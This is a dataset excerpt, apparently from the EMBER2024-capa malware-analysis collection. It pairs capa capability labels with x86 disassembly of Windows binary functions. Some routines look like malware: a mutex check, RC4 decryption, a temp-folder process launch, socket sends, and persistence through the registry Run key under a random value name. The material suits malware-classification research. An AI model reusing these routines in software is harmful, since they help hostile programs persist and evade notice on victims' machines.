joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100288d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002c2f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0
lea ecx, [ecx]
mov al, byte [ebx + 0x30]
test al, al
je 0x100289f6
mov dword [ebp - 4], 0
mov eax, dword [ebx + 0x50]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x10028926
push 0xffffffffffffffff
lea ecx, [ebx + 0x4c]
call fcn.10001ac0
lea edi, [ebx + 0x50]
mov eax, dword [edi]
mov dword [ebp - 0x24], eax
lea esi, [ebx + 0x80]
push esi
test eax, eax
jle 0x1002899f
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, edi
call fcn.10028360
mov edi, eax
mov dword [ebp - 0x14], edi
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x1002898a
cmp dword [ebx + 8], 0xffffffff
je 0x1002898a
xor esi, esi
mov dword [ebp - 0x18], esi
movzx eax, word [edi + 0x800]
cmp esi, eax
jge 0x1002898a
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x28], eax
test eax, eax
jl 0x1002898a
add esi, eax
jmp 0x1002895e
mov dword [ebp - 0x2c], edi
push edi
call sub.MFC71U.DLL_CNoTrackObject::operator_new
add esp, 4
mov dword [ebp - 0x14], 0
jmp 0x10028926
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx + 0x50]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x100289b7
lea ecx, [ebx + 0x4c]
call fcn.10001b00
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0xffffffff
jmp 0x10028900
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002a1c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1002c448
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7c
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov byte [esp + 0x44], bl
mov ecx, 0x10
lea edi, [esp + 0x45]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x24]
call fcn.10025240
lea ecx, [esp + 0x24]
mov dword [esp + 0x90], ebx
call fcn.10027410
push ebx
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x2c]
call fcn.10027630
push 1
lea ecx, [esp + 0x68]
push ecx
lea ecx, [esp + 0x2c]
call fcn.10027630
xor edx, edx
mov dword [esp + 0x31], edx
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x39], edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x3d], edx
push 0x40
push ecx
mov byte [esp + 0x3c], bl
mov dword [esp + 0x49], edx
call fcn.10016350
mov cx, word [esp + 0x40]
mov esi, dword [esp + 0x42]
mov edx, dword [esp + 0x3c]
mov dword [esp + 0x24], ebx
mov word [esp + 0x24], cx
mov cx, word [esp + 0x46]
mov dword [esp + 0x1c], ebx
mov word [esp + 0x1c], cx
mov ecx, dword [esp + 0x48]
mov edi, dword [esp + 0x1c]
xor ecx, esi
xor eax, eax
xor ecx, edx
mov edx, dword [esp + 0x24]
xor eax, edi
xor eax, edx
mov esi, ecx
mov edi, eax
shld edi, esi, 8
add esp, 0xc
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ebx
shl esi, 8
mov dword [esp + 0x90], 0xffffffff
call fcn.100250d0
mov ecx, dword [esp + 0x88]
mov edx, edi
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x88
ret
Function at 0x401010
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.7QDMJYH7EW
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401037
xor eax, eax
jmp 0x401053
call fcn.00401270
call fcn.00401870
cmp dword [ebp - 4], 0
je 0x401051
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x114], 0
jmp 0x40108e
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x100
jae 0x4010af
mov ecx, dword [ebp - 0x114]
mov dl, byte [ebp - 0x114]
mov byte [ebp + ecx - 0x104], dl
jmp 0x40107f
mov byte [ebp - 0x105], 0
mov dword [ebp - 0x110], 0
jmp 0x4010d1
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x100
jge 0x401154
movzx ecx, byte [ebp - 0x105]
mov edx, dword [ebp - 0x110]
movzx eax, byte [ebp + edx - 0x104]
add ecx, eax
mov eax, dword [ebp - 0x110]
cdq
idiv dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
movzx edx, byte [eax + edx]
add ecx, edx
mov byte [ebp - 0x105], cl
mov eax, dword [ebp - 0x110]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp - 0x107], cl
movzx edx, byte [ebp - 0x105]
mov eax, dword [ebp - 0x110]
mov cl, byte [ebp + edx - 0x104]
mov byte [ebp + eax - 0x104], cl
movzx edx, byte [ebp - 0x105]
mov al, byte [ebp - 0x107]
mov byte [ebp + edx - 0x104], al
jmp 0x4010c2
mov byte [ebp - 0x106], 0
mov byte [ebp - 0x105], 0
mov dword [ebp - 0x118], 0
jmp 0x40117d
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x118]
cmp edx, dword [ebp + 0xc]
jae 0x40125e
movzx eax, byte [ebp - 0x106]
add eax, 1
mov byte [ebp - 0x106], al
movzx ecx, byte [ebp - 0x105]
movzx edx, byte [ebp - 0x106]
movzx eax, byte [ebp + edx - 0x104]
add ecx, eax
mov byte [ebp - 0x105], cl
movzx ecx, byte [ebp - 0x106]
mov dl, byte [ebp + ecx - 0x104]
mov byte [ebp - 0x108], dl
movzx eax, byte [ebp - 0x105]
movzx ecx, byte [ebp - 0x106]
mov dl, byte [ebp + eax - 0x104]
mov byte [ebp + ecx - 0x104], dl
movzx eax, byte [ebp - 0x105]
mov cl, byte [ebp - 0x108]
mov byte [ebp + eax - 0x104], cl
movzx edx, byte [ebp - 0x106]
movzx eax, byte [ebp + edx - 0x104]
movzx ecx, byte [ebp - 0x105]
movzx edx, byte [ebp + ecx - 0x104]
add eax, edx
and eax, 0x800000ff
jns 0x40122c
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax - 0x104]
mov byte [ebp - 0x109], al
movsx ecx, byte [ebp - 0x109]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x118]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x118]
mov byte [edx], cl
jmp 0x40116e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a1b
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x4012b2
mov eax, 1
jmp 0x4012fd
mov dword [ebp - 0x78], 0x64
push 0x64
push 0
lea ecx, [ebp - 0x68]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x64
lea edx, [ebp - 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
add eax, 1
push eax
lea ecx, [ebp - 0x68]
push ecx
push 1
push 0
push str.lousjdpmkp
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x70], eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a1b
mov esp, ebp
pop ebp
ret
Function at 0x4017b0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x401805
xor eax, eax
jmp 0x401867
push 0x404224
push 0x104
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add esp, 0xc
test eax, eax
je 0x401824
xor eax, eax
jmp 0x401867
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402245
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402284
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402284
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402284
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402284
cmp dword [ecx + 0x74], 0xe
jbe 0x402284
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x435de7
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x465dbf], 0
mov eax, edx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov esi, ecx
je 0x435ea5
cmp byte [0x467231], 0
je 0x435ea5
test eax, eax
jne 0x435e2d
movzx eax, byte [0x45eb53]
push eax
push edx
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov al, 1
jmp 0x435ea7
xor ebx, ebx
cmp dword [0x465eb8], ebx
jne 0x435e4f
push 0xf0000000
push 0x18
push ebx
push ebx
push 0x465eb8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x435ea5
push ebx
push ebx
push ebx
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, eax
test edi, edi
je 0x435ea5
push ebx
push ebx
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x435ea5
lea eax, [ebp - 4]
push eax
mov eax, dword [0x45ec90]
push ebx
push ebx
push dword [eax*4 + 0x404c44]
push dword [0x465eb8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x435eae
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
push ebx
push dword [ebp - 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x435ecb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x435e9e
movzx eax, byte [0x45eb53]
push ebx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x435eee
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov al, bl
jmp 0x435ea7

Function at 0x4361a4
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, ecx
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jne 0x4361c2
mov edx, dword [edi + 8]
mov cl, 1
call fcn.004360b5
mov dword [edi + 4], eax
cmp eax, 0xffffffff
je 0x436217
xor ebx, ebx
test byte [edi + 0x3d], 8
je 0x4361de
mov edx, dword [edi + 0x40]
mov ecx, eax
push ebx
push ebx
call fcn.0043607e
test eax, eax
jne 0x436217
and byte [edi + 0x3d], 0xf7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], ebx
movzx eax, word [edi + 0x4a]
push eax
mov eax, dword [edi + 0x4c]
add eax, 0x200
push eax
push dword [edi + 4]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
add esp, 0xc
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0
jne 0x436217
add dword [edi + 0x40], ebx
mov word [edi + 0x4a], bx
pop edi
pop ebx
ret
mov edx, dword [edi + 8]
mov ecx, 0x3eb
call fcn.0043f02c
int3
Function at 0x4365be
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
push 0x427e58
push ebx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x4365df
inc eax
jmp 0x436690
push esi
push edi
push 0x427e68
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x427e84
push edi
call esi
push 0x427ea4
push edi
mov dword [ebp - 4], eax
call esi
xor ecx, ecx
mov esi, eax
mov eax, dword [ebp - 4]
mov edi, ecx
mov dword [ebp - 8], ecx
test eax, eax
je 0x436625
test esi, esi
je 0x436625
lea ecx, [ebp - 8]
push ecx
call eax
mov edi, eax
xor ecx, ecx
push ecx
push 0x80
push 3
push ecx
push ecx
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x43668c
test edi, edi
je 0x43664b
push dword [ebp - 8]
call esi
xor esi, esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x43668c
push esi
push eax
push esi
push 4
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, eax
test edi, edi
je 0x43668c
push esi
push esi
push esi
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
push edi
test esi, esi
jne 0x436695
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], eax
call eax
test eax, eax
je 0x43668c
xor edi, edi
mov dword [ebp - 4], edi
call fcn.004363dc
test eax, eax
jne 0x4366db
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.004364ed
test eax, eax
jne 0x4366d8
mov eax, dword [0x47b488]
test eax, eax
je 0x4366d8
push edi
push eax
call dword [0x47b480]
mov edi, dword [ebp - 4]
mov eax, dword [edi]
xor edx, edx
or eax, 0xc0000000
cmp word [esi], dx
jne 0x4366ff
mov ecx, 0xffff
cmp word [esi + 2], cx
jne 0x4366ff
cmp word [esi + 4], dx
je 0x436702
mov dword [esi + 8], eax
jmp 0x436702
mov dword [esi + 4], eax
push 1
push edi
call fcn.0045cee0
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
test eax, eax
je 0x43668c
push ebx
call dword [ebp - 0x10]
test eax, eax
je 0x43668c
xor eax, eax
inc eax
jmp 0x43668e
Function at 0x43760d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
mov dword [ebp - 0x18], ecx
mov ebx, dword [ebx]
xor cl, cl
mov dword [ebp - 0x1c], edi
mov esi, dword [edi]
jmp 0x4377c5
dec esi
mov dword [ebp - 0x14], esi
mov eax, dword [ebx + esi*4]
cmp word [eax], 0x40
jne 0x4377c5
test cl, cl
je 0x437652
mov ecx, 0x2338
call fcn.0043e8f4
mov ecx, eax
call fcn.00438ee5
mov edi, dword [edi]
sub edi, esi
mov byte [ebp - 2], 1
mov dword [ebp - 0x10], 0
sub edi, 1
je 0x437694
xor ecx, ecx
mov eax, edi
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.004524a1
mov ecx, edi
mov dword [ebp - 0x10], eax
shl ecx, 2
push ecx
lea ecx, [esi + 1]
lea ecx, [ebx + ecx*4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ebx, dword [ebx + esi*4]
mov cl, 1
add ebx, 2
mov edx, ebx
call fcn.004360b5
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4377d4
lea ecx, [ebp - 0xc]
xor edx, edx
push ecx
push 2
mov ecx, eax
call fcn.0043607e
test eax, eax
jne 0x4377dd
mov ecx, dword [ebp - 0xc]
add ecx, 2
call fcn.004524a1
mov ecx, dword [ebp - 8]
xor edx, edx
push 0
push 0
mov esi, eax
call fcn.0043607e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push dword [ebp - 0xc]
push esi
push dword [ebp - 8]
and dword [eax], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
add esp, 0xc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0
jne 0x4377dd
mov ecx, dword [ebp - 8]
call fcn.00436167
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov byte [ebp - 1], cl
mov word [esi + eax], cx
mov al, byte [esi]
cmp al, 0xff
jne 0x43772e
cmp byte [esi + 1], 0xfe
jne 0x437748
lea ebx, [esi + 2]
jmp 0x437755
cmp al, 0xef
jne 0x437748
cmp byte [esi + 1], 0xbb
jne 0x437748
cmp byte [esi + 2], 0xbf
jne 0x437748
lea ecx, [esi + 3]
call fcn.00452736
jmp 0x43774f
mov ecx, esi
call fcn.004526af
mov byte [ebp - 1], 1
mov ebx, eax
push dword [ebp + 8]
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
mov ecx, ebx
call fcn.004383b0
cmp byte [ebp - 1], 0
je 0x437774
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
pop ecx
test edi, edi
je 0x4377b8
mov eax, dword [ebp - 0x18]
lea edx, [edi + esi]
mov dword [eax], edx
mov ecx, dword [ebx]
shl edx, 2
call fcn.004524c6
mov ecx, edi
mov dword [ebx], eax
shl ecx, 2
push ecx
push dword [ebp - 0x10]
lea eax, [eax + esi*4]
push eax
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0x10
mov ebx, dword [ebx]
lea eax, [edi + esi]
mov edi, dword [ebp - 0x1c]
mov cl, byte [ebp - 2]
mov dword [edi], eax
test esi, esi
jne 0x43762c
pop edi
pop esi
pop ebx
leave
ret 4
mov edx, ebx
mov ecx, 0x3e8
jmp 0x4377e4
mov edx, ebx
mov ecx, 0x3eb
call fcn.0043f02c
int3
Function at 0x4377ea
Capabilities:
Resolve path using msvcrt
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor esi, esi
mov ecx, dword [0x477684]
mov dword [ebp - 4], esi
test ecx, ecx
je 0x43780e
call fcn.004463db
mov dword [0x477684], esi
mov ecx, dword [0x4672f4]
test ecx, ecx
je 0x437823
call fcn.004463db
mov dword [0x4672f4], esi
mov ecx, dword [0x4777b4]
test ecx, ecx
je 0x437838
call fcn.004463db
mov dword [0x4777b4], esi
mov ecx, dword [0x478d14]
test ecx, ecx
je 0x43784f
mov esi, dword [ecx]
call fcn.004463db
mov ecx, esi
test esi, esi
jne 0x437842
cmp byte [0x45ec9d], 0
mov ebx, dword [0x46729c]
mov eax, dword [0x4672a0]
mov ecx, dword [0x467298]
jne 0x437874
mov dword [ebx + eax*4], 0x428758
inc eax
add ecx, 3
mov dword [ebx + eax*4], 0x428760
lea edx, [edi + 2]
mov dword [ebx + eax*4 + 4], edi
add eax, 2
mov dword [0x4672a0], eax
mov ax, word [edi]
add edi, 2
cmp ax, si
jne 0x43788a
mov esi, dword [0x4672a4]
sub edi, edx
mov edx, dword [0x4672a8]
add esi, 4
sar edi, 1
add edi, 5
mov dword [0x4672a4], esi
add edi, ecx
dec edx
mov dword [0x467298], edi
mov dword [0x4672a8], edx
test edx, edx
jle 0x43790c
mov ecx, dword [0x4672a0]
mov eax, dword [esi]
mov dword [ebx + ecx*4], eax
inc ecx
mov dword [0x4672a0], ecx
mov ecx, dword [esi]
lea eax, [ecx + 2]
mov dword [ebp - 8], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 4]
jne 0x4378de
sub ecx, dword [ebp - 8]
inc edi
sar ecx, 1
add esi, 4
add edi, ecx
dec edx
test edx, edx
jg 0x4378c4
mov dword [0x4672a8], edx
mov dword [0x4672a4], esi
mov dword [0x467298], edi
push 0x428768
push 0x428308
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wputenv_s]
mov eax, dword [0x467298]
pop ecx
pop ecx
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.0042b54c
xor edi, edi
mov dword [ebp - 4], eax
mov ebx, edi
mov esi, eax
cmp dword [0x4672a0], ebx
jle 0x4379b7
mov ecx, dword [0x467298]
mov edi, esi
sub edi, eax
sar edi, 1
lea eax, [ecx + 1]
cmp edi, eax
jb 0x43796b
mov ecx, 0x3f8
call fcn.0043ef84
mov ecx, dword [0x467298]
mov eax, dword [0x46729c]
sub ecx, edi
inc ecx
push dword [eax + ebx*4]
push ecx
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov eax, dword [0x46729c]
add esp, 0xc
xor edi, edi
mov ecx, dword [eax + ebx*4]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x43798e
sub ecx, edx
sar ecx, 1
push 0x20
pop eax
push 2
lea esi, [esi + ecx*2]
mov word [esi], ax
pop eax
add esi, eax
mov eax, dword [ebp - 4]
inc ebx
cmp ebx, dword [0x4672a0]
jl 0x437948
push eax
xor ecx, ecx
push 0x42832c
mov word [esi - 2], cx
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wputenv_s]
pop ecx
pop ecx
test eax, eax
je 0x4379d9
mov ecx, 0x3ec
call fcn.0043ef84
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p__wpgmptr]
push edi
push edi
push dword [0x467274]
push dword [eax]
push edi
call dword [sym.imp.api_ms_win_crt_process_l1_1_0.dll__wspawnlp]
add esp, 0x14
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x438ebe
Capabilities:
Delete file
Terminate process

Disassembly:
cmp byte [0x4672b7], 0
push esi
mov esi, ecx
jne 0x438ecf
call fcn.00438e47
test esi, esi
jne 0x438ed8
mov esi, 0x428768
mov edx, esi
mov ecx, 0xfa8
pop esi
jmp fcn.0043effd

Function at 0x438ee5
Capabilities:
Delete file
Terminate process

Disassembly:
cmp byte [0x467233], 0
push esi
mov esi, ecx
jne 0x438eff
cmp byte [0x4672b7], 0
jne 0x438eff
call fcn.00438e47
test esi, esi
jne 0x438f08
mov esi, 0x428768
mov edx, esi
mov ecx, 0xfb2
pop esi
jmp fcn.0043effd
Function at 0x43e8f4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
mov esi, ecx
mov eax, esi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x43e93f
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edx, eax
test edx, edx
je 0x43e93f
and esi, 0xf
je 0x43e931
movzx eax, word [edx]
lea edx, [edx + eax*2]
add edx, 2
sub esi, 1
jne 0x43e923
movzx eax, word [edx]
lea ecx, [edx + 2]
neg eax
pop esi
sbb eax, eax
and eax, ecx
ret
xor eax, eax
pop esi
ret